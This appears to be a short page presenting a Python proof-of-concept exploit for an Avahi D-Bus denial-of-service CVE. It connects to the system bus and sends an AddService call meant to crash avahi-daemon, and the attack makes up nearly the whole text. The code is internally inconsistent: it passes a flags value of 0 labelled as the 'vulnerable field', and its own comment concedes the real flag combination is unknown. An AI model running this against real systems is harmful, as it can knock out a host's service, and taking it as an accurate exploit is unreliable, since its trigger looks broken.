CVE-2026-34933 Avahi本地拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-34933 Avahi D-Bus Crash via conflicting publish flags This script demonstrates the vector for triggering the crash. """ import dbus import sys def trigger_crash(): try: print("[*] Connecting to the System D-Bus...") bus = dbus.SystemBus() # Get the Avahi server object server_obj = bus.get_object("org.freedesktop.Avahi", "/") server = dbus.Interface(server_obj, "org.freedesktop.Avahi.Server") print("[*] Creating a new EntryGroup...") entry_group_path = server.EntryGroupNew() entry_group_obj = bus.get_object("org.freedesktop.Avahi", entry_group_path) entry_group = dbus.Interface(entry_group_obj, "org.freedesktop.Avahi.EntryGroup") print("[*] Sending malicious AddService call with conflicting flags...") # The vulnerability is triggered by specific conflicting flags in the publish field. # This call attempts to register a service with parameters that may trigger the vulnerability. # Note: Exact flag combinations to cause crash depend on specific version logic. entry_group.AddService( -1, # Interface (AVAHI_IF_UNSPEC) -1, # Protocol (AVAHI_PROTO_UNSPEC) 0, # Flags (The vulnerable field) "PoC Service", "_http._tcp", "local", "localhost", 1234, dbus.Array([], signature='ay') ) entry_group.Commit() print("[+] D-Bus call sent. Check avahi-daemon status.") except dbus.exceptions.DBusException as e: print(f"[-] D-Bus Exception occurred: {e}") print("[!] This might indicate the daemon crashed (connection lost).") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_crash()